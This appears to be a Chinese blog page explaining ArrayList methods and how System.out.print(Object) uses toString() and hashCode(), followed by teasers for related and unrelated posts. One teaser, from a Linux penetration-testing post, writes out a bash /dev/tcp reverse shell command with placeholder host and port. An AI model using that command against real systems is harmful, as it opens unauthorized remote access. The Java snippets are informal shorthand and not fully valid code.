ArrayList集合--关于System.out.print(Object obj);的理解
1.ArrayList集合中常用的方法
ArrayList<Student> stuArrayList = new ArrayList<>(); //定义一个集合对象
stuArrayList.add();    //添加元素
stuArrayList.add(index, e):    //在某个位置添加元素,但不覆盖原元素
stuArrayList.get(index):    //获取某位置的元素
stuArrayList.size():    //获取集合长度
stuArrayList.remove(""):    //删除某元素
stuArrayList.remove(index):    //删除某位置元素
stuArrayList.set(index,e):    //用e覆盖某位置元素
2.一个问题点:
ArrayList<String> list = new ArrayList<>();
System.out.println(list);  //打印结果为空,并不是地址值,因为底层作了toString转换。
/*println(obj)接收到obj参数时,会判断obj是否为空,如果为空,则输出null;若不为空,则调用Object的toString(),
返回的是"类名(利用反射获取)@哈希散列特征码(调用hashCode()方法,如果覆写就用覆写后的,如果没覆写就用本地的(c语言写的,jdk未提供耗源码))"*/
int []arr = new int[2];
syso(arr)://打印结果为内存地址
二.关于System.out.print(Object obj);的理解
1.System调用其类属性out,而out又是PrintStream类型,所以out可以调用类PrintStream的方法print.
2.调用print()打印Object时,会判断Object是否为空,如果为空,输出null;如果非空,调用Object的toString().
3.如果toString()方法被覆写,那就调用覆写后的;如果没有被覆写,就用自身的,自身的方法是用反射获取类名称,
     然后拼接一个"@",再调用hashCode()方法,并将其返回值变为16进制字符串.
4.如果hashCode()被覆写了,就调用覆写后的,输出后为哈希散列特征码;如果没有被覆写,就用自身的,
     这个自带的hashCode()实现的逻辑是本地代码,JDK源码并末提供.输出为地址值.
附:
public void print(Object obj)--java.io.PrintStream
     The string produced by the String.valueOf(Object) method is translated into bytes 
public String toString()--- java.lang.String
     getClass().getName() + '@' + Integer.toHexString(hashCode())
ArrayList集合--关于System.out.print(Object obj);的理解的更多相关文章
- File类--System.out.print(Object obj)的理解
		
一.File 类(java.io) 概述:Java中使用File类来表示文件或者文件夹对象! 抽象路径名:描述文件或文件夹时,使用的路径符号,就是一个对象的字符串表示形式,如"c:\ ...
 - 2016年10月16日--ArrayList集合、特殊集合
		
ArrayList集合 使用前引用 using System.Collections; ArrayList集合 实例化.初始化 ArrayList al = new ArrayList(); Arra ...
 - C#部分---arraylist集合、arraylist集合中的object数据转换成int类string类等;间隔时间的表示方法;
		
ArrayList和Array的区别: 相同点:1.两者都实现了IList.ICollection.IEnumerable接口: 2.两者都可以使用证书索引访问集合中的元素,包括读取和赋值 ...
 - java集合 collection-list-ArrayList   将自定义对象作为元素存到ArrayList集合中,并去除重复元素。
		
import java.util.*; /* 将自定义对象作为元素存到ArrayList集合中,并去除重复元素. 比如:存人对象.同姓名同年龄,视为同一个人.为重复元素. 思路: 1,对人描述,将数据 ...
 - java集合 collection-list-ArrayList   去除ArrayList集合中的重复元素。
		
import java.util.*; /* 去除ArrayList集合中的重复元素. */ class ArrayListTest { public static void sop(Object o ...
 - Java 去除 ArrayList 集合中的重复元素
		
// One practice package Collection; import java.util.ArrayList; import java.util.Iterator; // 去除 Arr ...
 - 《java入门第一季》之ArrayList集合小案例
		
案例一:去除集合里面的重复元素 package cn.itcast_04; import java.util.ArrayList; /* * ArrayList去除集合中字符串的重复值(字符串的内容相 ...
 - 去除ArrayList集合中的重复自定义对象元素
		
要求去除ArrayList集合中重复的Student的对象(什么叫重复,所有属性值都相同叫做重复). 思路: 1.创建一个新集合 2.遍历旧集合中的每一个元素,去新集合中找这个元素,如果这个元素不存在 ...
 - [Java]ArrayList集合的contains方法
		
用到集合ArrayList时经常会用到里面自带的方法boolean contains(Object o);此方法用于判断集合里面是否包含元素o,现在讨论下在Object类型为类类型的时候的情况: cl ...
 
随机推荐
- jdbc代码
			
1.jdbcutiul的代码, package gz.itcast.util; import java.io.InputStream; import java.sql.Connection; impo ...
 - PCB上的导线 怎么开窗 去掉绿油 把铜皮裸露
			
开窗是个专业术语,你可以简单的理解为"去掉绿油,把铜皮裸露". 导线开窗用途一: 例如这个板子中的蛇形天线,就是导线开窗后的效果. 导线开窗用途二: 把需要过大电流的导线开窗,就可 ...
 - windows下搭建nginx服务器及实现nginx支持https配置流程
			
最近刚接触到了tomcat结合nginx做网站的负载均衡.之前对tomcat搭配nginx实现负载均衡也写过,在上一篇的博客中,最近遇到的问题是要在http的基础上支持https.也就是支持加密的请求 ...
 - 13. linux渗透之反弹shell
			
实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...
 - array mysql_fetch_row(resource result)
			
array mysql_fetch_row(resource result) 函数返回从结果集result中取得的行生成的数组,若到了最后一行之后则返回false,每个结果的列存储在一个数组的单元中 ...
 - 写守护进程时碰到open函数的参数,没记住
			
今天写一个最简单的守护进程, 要成为一个守护进程,其实很简单了.主要步骤就4步: 1,创建进程. 2,父进程退出. 3,成为会话的头领进程. 4,将工作目录改成根目录,并把标准输入输出重定向到空设备. ...
 - CentOS 下部署Nginx+Gunicorn+Supervisor部署Flask项目
			
原本之前有一部分东西是在Windows Server,但是由于Gunicorn不支持Windows部署起来颇为麻烦.最近转战CentOS,折腾一段时间,终于简单部署成功.CentOS新手,作为一个总结 ...
 - SpringMVC中的常用注解
			
RequestParam 作用: 用于 将请求参数区数据 映射到 功能处理方法的参数上. 属性: value 请求参数中的名称 required 请求参数中是否必须提供此参数. 默认值: ...
 - 洛谷P1031 均分纸牌
			
P1031 均分纸牌 题目描述 有 N 堆纸牌,编号分别为 1,2,…, N.每堆上有若干张,但纸牌总数必为 N 的倍数.可以在任一堆上取若干张纸牌,然后移动. 移牌规则为:在编号为 1 堆上取的纸牌 ...
 - 51nod 1562 玻璃切割
			
1562 玻璃切割 http://www.51nod.com/onlineJudge/questionCode.html#!problemId=1562 题目来源: CodeForces 基准时间 ...